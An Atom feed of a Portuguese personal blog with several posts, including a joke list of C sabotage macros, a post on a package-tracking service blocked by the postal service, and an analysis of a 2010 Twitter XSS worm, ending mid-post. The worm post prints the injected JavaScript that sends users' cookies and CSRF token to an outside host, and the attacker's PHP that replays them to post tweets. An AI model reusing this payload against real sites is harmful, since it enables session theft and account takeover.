<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUYFRX8zfyp7ImA9WhRRFE4.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922</id><updated>2011-11-27T15:38:34.187-08:00</updated><category term="linux" /><category term="log4net" /><category term="xss" /><category term="segurança" /><category term="DotNet" /><category term="twitter" /><title>Filipe Paz</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://filipepaz.blogspot.com/" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>15</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/FilipePaz" /><feedburner:info uri="filipepaz" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CkYCQn46cSp7ImA9WhdQEUo.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-3023672773212191609</id><published>2011-08-11T13:51:00.000-07:00</published><updated>2011-08-12T10:29:23.019-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-12T10:29:23.019-07:00</app:edited><title>Sabote uma aplicação C hoje</title><content type="html">&lt;blockquote&gt; &lt;pre&gt;&lt;strong&gt;#define FALSE 1
&lt;br /&gt;#define FALSE exit()&lt;/strong&gt;&lt;strong&gt;
&lt;br /&gt;#define while if
&lt;br /&gt;#define goto&lt;/strong&gt;&lt;strong&gt;
&lt;br /&gt;#define struct union&lt;/strong&gt;&lt;strong&gt;
&lt;br /&gt;#define assert(x)&lt;/strong&gt;&lt;strong&gt;
&lt;br /&gt;#define volatile&lt;/strong&gt;&lt;strong&gt;
&lt;br /&gt;#define continue break
&lt;br /&gt;#define double int
&lt;br /&gt;#define long short
&lt;br /&gt;#define unsigned signed
&lt;br /&gt;&lt;/strong&gt;#define malloc(s) malloc(s-1)
&lt;br /&gt;
&lt;br /&gt;Daqui: &lt;a href="http://blog.regehr.org/archives/574"&gt;http://blog.regehr.org/archives/574&lt;/a&gt;
&lt;br /&gt;&lt;/pre&gt; &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-3023672773212191609?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JWCwZ0kfhDnmB8jhs2NnjHGPwbw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JWCwZ0kfhDnmB8jhs2NnjHGPwbw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JWCwZ0kfhDnmB8jhs2NnjHGPwbw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JWCwZ0kfhDnmB8jhs2NnjHGPwbw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/1bZv4gbH4M0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/3023672773212191609/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=3023672773212191609" title="1 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3023672773212191609?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3023672773212191609?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/1bZv4gbH4M0/sabote-uma-aplicacao-c-hoje.html" title="Sabote uma aplicação C hoje" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2011/08/sabote-uma-aplicacao-c-hoje.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08GQXsyeyp7ImA9WhdQEEQ.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-1956289094071135978</id><published>2011-08-11T13:49:00.000-07:00</published><updated>2011-08-11T13:50:20.593-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-11T13:50:20.593-07:00</app:edited><title>57 Things I’ve Learned Founding 3 Tech Companies</title><content type="html">Um artigo interessante sobre empreendorismo:
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.bspcn.com/2011/08/08/57-things-ive-learned-founding-3-tech-companies/"&gt;http://www.bspcn.com/2011/08/08/57-things-ive-learned-founding-3-tech-companies/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-1956289094071135978?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LsEPSftDXRfocqOWIHDE64VVwOY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LsEPSftDXRfocqOWIHDE64VVwOY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LsEPSftDXRfocqOWIHDE64VVwOY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LsEPSftDXRfocqOWIHDE64VVwOY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/P7xHcDbCQGs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/1956289094071135978/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=1956289094071135978" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1956289094071135978?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1956289094071135978?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/P7xHcDbCQGs/57-things-ive-learned-founding-3-tech.html" title="57 Things I’ve Learned Founding 3 Tech Companies" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2011/08/57-things-ive-learned-founding-3-tech.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYCQHczcSp7ImA9WhZWFkU.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-8043816009124169536</id><published>2011-05-15T17:19:00.000-07:00</published><updated>2011-05-17T19:02:41.989-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-17T19:02:41.989-07:00</app:edited><title>#correiosbloquearammuambator</title><content type="html">&lt;span style="font-weight:bold;"&gt;Update (17/05/2011)&lt;/span&gt;: Hoje o Felipe Kellerman (@felipek) e o Cícero Rolim (@ironworld) me surpreenderam com a ótima notícia: o &lt;a href="http://blog.muambator.com.br/2011/05/juntos-nos-vamos-mais-longe/"&gt;Muambator voltará a ativa. &lt;span style="font-weight:bold;"&gt;E com uma API dos Correios&lt;/span&gt;!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Desde quando iniciei essa post, a idéia foi iniciar uma discussão sobre Open Data: afinal, quais dados na mão do governo/entidades privadas devem ser públicos, e qual o nível e maneira de acesso desses dados? Os Correios, atráves de um de seus colaboradores, disponibilizou uma API (da qual ainda não tenho detalhes, esperem meu post sobre Open Data :) ) para consulta de dados de rastreamento de pacotes. Eu já comentei nesse post as vantagens de tal API, mas o que me deixa realmente contente foi a postura dos Correios perante o caso. Ao invés de se manter no silêncio, pronunciou-se, nas palavras do @ironworld, num "feedback limpo e claro" (aliás, estou curioso para saber se nesse feedback foi citado o motivo do bloqueio). Tal fato mostra que é possível sim que os órgãos públicos e privados têm condições de disponibilizar seus dados através de serviços, e que basta um pouco de boa-vontade e muita ação da comunidade para que as coisas aconteçam.&lt;br /&gt;&lt;br /&gt;Parabenizo aqui os Correios pela rapidez, boa-vontade e sobretudo, por ter dado fim a um capítulo e iniciado outro que, espero eu, abra os olhos de várias entidades para que fatos como o que aconteceu hoje se repitam várias vezes&lt;br /&gt;&lt;br /&gt;**************************************************************************&lt;br /&gt;&lt;br /&gt;Na semana passada, uma notícia que deixou enfurecidos muitas pessoas que costumam fazer compras pela internet: &lt;a href="http://blog.muambator.com.br/2011/05/muambator-e-bloqueado-pelos-correios/"&gt;o Muambator for bloqueado pelos correios&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O que é o Muambator?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O Muambator é um serviço no qual, a partir do cadastro de um objeto rastreável, o site avisa sobre mudanças no status desse objeto. As formas de aviso variam: RSS feeds, emails, Direct Messages e via notificações push, usando o aplicativo &lt;a href="http://www.muambator.com.br/iphone/"&gt;Pacotes&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Por que foi bloqueado?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esse é um campo onde só posso conjecturar. Alguns diriam que o Muambator causava uma sobrecarga no site, e que por isso o IP do servidor teria entrado em uma blacklist. Como não tenho números, não posso provar (ou refutar) essa teoria. Outros diriam que os Correios simplesmente resolveram sacanear com o Muambator/Pacotes por diversos motivos: inveja, interesse em criar um serviço próprio nesse modelo, entre outros.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Os riscos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O serviço possuiía 2 pontos de falha:&lt;br /&gt;&lt;br /&gt;* Todas as requisições partiam de um único servidor, transformando-o em um &lt;a href="http://en.wikipedia.org/wiki/Single_point_of_failure"&gt;ponto único de falha&lt;/a&gt;. Caso esse servidor falhasse (ou fosse bloqueado), o serviço inteiro pararia;&lt;br /&gt;* As informações eram obtidas através de parsing, ou seja, um mecanismo varria a página dos correios procurando os dados do pacote a ser rastreado. A esse tipo de técnica dá se o nome de &lt;a href="http://en.wikipedia.org/wiki/Web_scraping"&gt;Web scraping&lt;/a&gt;. O problema é que o site no qual se faz scraping não possui o compromisso de manter os dados sempre no mesmo lugar, e o algoritmo de parsing pode falhar na menor mudança de layout.&lt;br /&gt;&lt;br /&gt;O Muambator, quando criado, teve de assumir esses riscos. Quanto a requisições oriundas de um único ponto, algumas empresas se preocupam com ataques de bots, e colocam IPs em blacklists caso percebam requisições estranhas. Outras vão mais além e criam mecanismos como CAPTCHAS. Elas o fazem não somente para evitar sobrecarga, mas para resguardar seus dados, evitando ataques como força-bruta e afins. As requisições do Muambator, se olhadas a fundo, certamente não eram estranhas (não eram tentativas e erro, por exemplo, mas números de rastreamento definidos), mas muitas reequisições num espaço curto de tempo podem ter chamado a atenção de um sysadmin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O valor agregado&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Certamente o valor criado pelo Muambator é inegável. Ao invés de consultar pediodicamente o site dos correios, o serviço te avisa quando o pacote muda de status. É o tipo de serviço toda pessoas que costumam fazer encomendas online deseja, e o desenvolvedor viu uma oportunidade que a ECT não viu. Muitas pessoas perceberam esse valor agregado e defendem a causa do site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Solução?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A solução consiste em 2 partes, resolvendo os 2 pontos já mencionados:&lt;br /&gt;&lt;br /&gt;* Construção de aplicativos que acessem diretamente o site dos correios ao invés de usar o servidor do Muambator como &lt;a href="http://en.wikipedia.org/wiki/Message_broker"&gt;broker&lt;/a&gt; (ou atualização do Já conhecido Pacotes). Infelizmente isso implica na perda de serviços como direct messages, email e RSS (boa parte do valor agregado do serviço)&lt;br /&gt;* Criação de uma API de acesso a dados de rastreamento de pacotes por parte da ECT. Tal objetivo só pode ser obtido através da conscientização do órgão de que dados públicos deveriam ser acessíveis sem restrições, e que esses dados pudessem ser acessados por aplicações através de APIs definidas. A criação dessa API facilitaria tambem o controle por parte do dos correios (se o motivo do bloqueio foi, por exemplo, evitar ataque de bots, um serviço por outro lado pode ser bloqueado não quando uma requisição for oriunda de um único lugar, mas quando ela resultar em várias falhas seguidas), estreitaria os laços com a comunidade Open Data, e caso permitisse um servidor manter um serviço como um Muambator, a reverter a visão da comunidade.&lt;br /&gt;&lt;br /&gt;Para os que ficaram curiosos sobre o termo "Open Data", criarei um post mais além sobre esse assunto. Até lá.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-8043816009124169536?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HwRaEsfSiMXSbWYnwZtVy_Kp-Dc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HwRaEsfSiMXSbWYnwZtVy_Kp-Dc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HwRaEsfSiMXSbWYnwZtVy_Kp-Dc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HwRaEsfSiMXSbWYnwZtVy_Kp-Dc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/GdgWzH8eAZ0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/8043816009124169536/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=8043816009124169536" title="3 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/8043816009124169536?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/8043816009124169536?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/GdgWzH8eAZ0/correiosbloquearammuambator.html" title="#correiosbloquearammuambator" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2011/05/correiosbloquearammuambator.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8FQXc8fCp7ImA9Wx5QGEQ.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-3737921100254150716</id><published>2010-09-07T12:28:00.000-07:00</published><updated>2010-09-07T15:00:10.974-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-07T15:00:10.974-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><category scheme="http://www.blogger.com/atom/ns#" term="segurança" /><title>Um worm no Twitter</title><content type="html">&lt;b&gt;História&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;No dia 6 se setembro, a seguinte mensagem se espalhou no twitter:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIaSugZLWjI/AAAAAAAAHf0/R60BaUMPd-8/s1600/tweet_pelanza.png"&gt;&lt;img style="float: center; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 44px;" src="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIaSugZLWjI/AAAAAAAAHf0/R60BaUMPd-8/s320/tweet_pelanza.png" alt="" id="BLOGGER_PHOTO_ID_5514256121428924978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ao clicar no link, o usuário era redirecionado para a página do criador do worm (@Joseph_Felix, agora desativado), além de postar uma cópia da mensagem acima.&lt;br /&gt;&lt;br /&gt;A mensagem se espalhou numa explosão combinatorial para praticamente todo o twitter.&lt;br /&gt;&lt;br /&gt;Não demoraram muito a descobrirem como a falha funcionava e a imitaram:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIaUm4KakpI/AAAAAAAAHf8/HUI50sX58MI/s1600/tweet_octanefx.png"&gt;&lt;img style="float: center; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 44px;" src="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIaUm4KakpI/AAAAAAAAHf8/HUI50sX58MI/s320/tweet_octanefx.png" alt="" id="BLOGGER_PHOTO_ID_5514258189393760914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;@octanefx foi muito menos bozinho que @Joseph_Felix e com os cookies que roubou, transformou um pedaço do twitter em sua marionete:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uCyvbVQD-mM/TIaXt0cFm_I/AAAAAAAAHgE/R6JU1OHeguk/s1600/marionetes_octanefx.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 161px;" src="http://1.bp.blogspot.com/_uCyvbVQD-mM/TIaXt0cFm_I/AAAAAAAAHgE/R6JU1OHeguk/s320/marionetes_octanefx.png" alt="" id="BLOGGER_PHOTO_ID_5514261607188110322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Segundo ele mesmo, "Mesmo depois de solucionado o problema no site do twitter, ainda posso manipular as contas por algum tempo."&lt;br /&gt;&lt;br /&gt;Enquanto isso, @Joseph_Felix &lt;a href="http://www.twitlonger.com/show/080308a5753da5cd0a14b72e499e851f"&gt;revelava suas verdadeiras intenções&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIadZyWmcpI/AAAAAAAAHgM/2Ug8mJEsQq4/s1600/twitlong_joseph_felix.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 215px;" src="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIadZyWmcpI/AAAAAAAAHgM/2Ug8mJEsQq4/s320/twitlong_joseph_felix.png" alt="" id="BLOGGER_PHOTO_ID_5514267860100608658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A falha&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;O Twitter tinha um problema de XSS (http://www.xssed.com/news/116/Twitter_developer_platform_search_field_vulnerable_to_XSS_/) que permitia injetar um código javascript e assim obter o cookie do subdomínio dev.twitter.com. Esse cookie pode ser usado em qualquer página do domínio twitter.com. No caso, foi usado para postar uma mensagem na timeline. O exploit criado injetava o segunte código:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="JScript"&gt;&lt;br /&gt;window.onload=function(){&lt;br /&gt;location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&amp;amp;token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Esse código envia 2 informações à página "dgoh-codes.com/joseph/twitter":&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Os cookies do usuário (document.cookie)&lt;/li&gt;&lt;li&gt;O authencity_token do usuário. Esse token serve para evitar ataques CSRF&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;O Código que @Joseph_Felix usou em dgoh-codes.com/joseph/twitter foi:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Php"&gt;&amp;lt;?php&lt;br /&gt;$inf = $_GET["cookie"];&lt;br /&gt;$token = $_GET["token"];&lt;br /&gt;$status = "Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8";&lt;br /&gt;if (!empty($inf) &amp;amp;&amp;amp; !empty($token))&lt;br /&gt;{&lt;br /&gt;$c = curl_init("http://twitter.com/status/update");&lt;br /&gt;curl_setopt_array($c, Array(&lt;br /&gt;CURLOPT_RETURNTRANSFER =&amp;gt; true,&lt;br /&gt;CURLOPT_COOKIE =&amp;gt; $inf,&lt;br /&gt;CURLOPT_CUSTOMREQUEST =&amp;gt; "POST",&lt;br /&gt;CURLOPT_POST =&amp;gt; true,&lt;br /&gt;CURLOPT_POSTFIELDS =&amp;gt; "authenticity_token={$token}&amp;amp;status=".rawurlencode($status)."&amp;amp;twttr=true&amp;amp;return_rendered_status=true&amp;amp;lat=&amp;amp;lon=&amp;amp;place_id=&amp;amp;display_coordinates=false"&lt;br /&gt;));&lt;br /&gt;$posta = curl_exec($c);&lt;br /&gt;print $posta;&lt;br /&gt;$fp = fopen("arquivo_cookie.txt", "a");&lt;br /&gt;fwrite($fp, "Cookie: " . $inf . "\r\nAuthenticity_token: {$token}\r\n\r\n");&lt;br /&gt;fclose($fp);&lt;br /&gt;header("Location: http://twitter.com/Joseph_Felix");&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Este código também está em http://pastebin.com/pFUtvM42&lt;br /&gt;&lt;br /&gt;O exploit criado funciona da seguinte maneira:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Usuário do twitter entre no link malicioso&lt;/li&gt;&lt;li&gt; Usuário é redirecionado para dev.twitter.com&lt;/li&gt;&lt;li&gt;Através da falha de XSS, o código injeta um javascript que envia o conteúdo de document.cookie e do authenticity_token para "dgoh-codes.com/joseph/twitter" (ou worm_pe_lanza)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A página worm_pe_lanza cria uma requisição para http://twitter.com/status/update com as seguintes informações:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Cookie: a informação recebida por "$_GET["cookie"];"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tipo de requisição : POST&lt;/li&gt;&lt;br /&gt;&lt;li&gt;valores enviados&lt;/li&gt;authenticity_token= valor em "$_GET["token"]"&lt;br /&gt;status="Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8"&lt;br /&gt;twttr=true&lt;br /&gt;return_rendered_status=true&lt;br /&gt;display_coordinates=false&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A página worm_pe_lanza salva o cookie E o token do usuário num arquivo arquivo_cookie.txt.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Usuário é redirecionado para http://twitter.com/Joseph_Felix&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Solução?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;O exploit usa do cookie e do authenticity token para criar o worm. Porém, basta que o exploit tenha o cookie que ele pode obter o token, bastando pra isso fazer um get a dev.twitter.com (como observado pelo @viniciuskmax).&lt;br /&gt;&lt;br /&gt;A única solução é renovar o cookie, para que o cookie roubado fique inútil. @RodLac disse que trocar uma senha basta para invalidar um cookie, mas logout/login não.  @altieres sugere, &lt;a href="http://g1.globo.com/tecnologia/noticia/2010/09/trocar-senha-e-limpar-cache-de-navegador-elimina-virus-do-twitter.html?utm_source=twitterfeed&amp;amp;utm_medium=twitter"&gt;além de trocar a senha, limpar o cache&lt;/a&gt; (pois alguns antivirus colocaram o exploit na sua base de dados, e podem detectá-lo se ele ainda residir em algum cache do navegador.&lt;br /&gt;&lt;br /&gt;Em suma: se você foi atingido, troque sua senha.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-3737921100254150716?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WW7jn-7ffaBN-aLA084KNcUCri4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WW7jn-7ffaBN-aLA084KNcUCri4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WW7jn-7ffaBN-aLA084KNcUCri4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WW7jn-7ffaBN-aLA084KNcUCri4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/5aL-tYZpvbo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/3737921100254150716/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=3737921100254150716" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3737921100254150716?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3737921100254150716?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/5aL-tYZpvbo/um-worm-no-twitter.html" title="Um worm no Twitter" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_uCyvbVQD-mM/TIaSugZLWjI/AAAAAAAAHf0/R60BaUMPd-8/s72-c/tweet_pelanza.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2010/09/um-worm-no-twitter.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QARHwzeip7ImA9Wx5XE04.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-1124191805885624015</id><published>2010-09-03T20:44:00.001-07:00</published><updated>2010-09-12T17:55:45.282-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-12T17:55:45.282-07:00</app:edited><title>Organizando uma formatura</title><content type="html">Quando pensei em entrar para a comissão de formatura, não conhecia a real dimensão da coisa. À época, algumas amigas minhas iriam se formar comigo. Já havia combinado: iríamos organizar toda a nossa formatura e tudo iria correr bem.&lt;br /&gt;&lt;br /&gt;Mas não é bem assim.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Formandos&lt;/h4&gt;&lt;br /&gt;Todo formando coloca no início do semestre: 'provável formando nesse semestre'. Pode-se conseguir facilmente a lista desses alunos pedindo para o coordenador da graduação. Essa lisat é útil para saber quem são os formandos e verificar com eles quem irá se formar no salão de atos ou não. Para reunir estas pessoas, foi criada uma lista de discussões.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Definindo a comissão&lt;/h4&gt;&lt;br /&gt;A Comgrad (e outros) irão saber que você é da comissão de formatura quando você marcar no portal do aluno que, além de provável formando, você é da comissão (sim, essa opção existe, e estará lá na hora devida)&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;A escolha do dia&lt;/h4&gt;&lt;br /&gt;Tudo começou nesse dia. A secretaria avisa a comissão de que eles devem levar seus representantes ao sorteio das datas. Neste dia, a pró-reitoria de graduação sorteia as datas disponíveis para a formatura. Esse processo dá-se da segunte maneira: os cursos são sorteados, e o primeiro a ser sorteado tem prioridade na escolha da data. Nesse dia, algumas produtoras entregam seus contatos aos membros das comissões de formatura. &lt;br /&gt;&lt;br /&gt;A escolha da data é importante, porque muitas vezes o dia ou horário não é muito bom para algumas pessoas. As mulheres em geral gostaram do horário da noite, pois tinham mais tempo para se preparar para a cerimônia.&lt;br /&gt;&lt;br 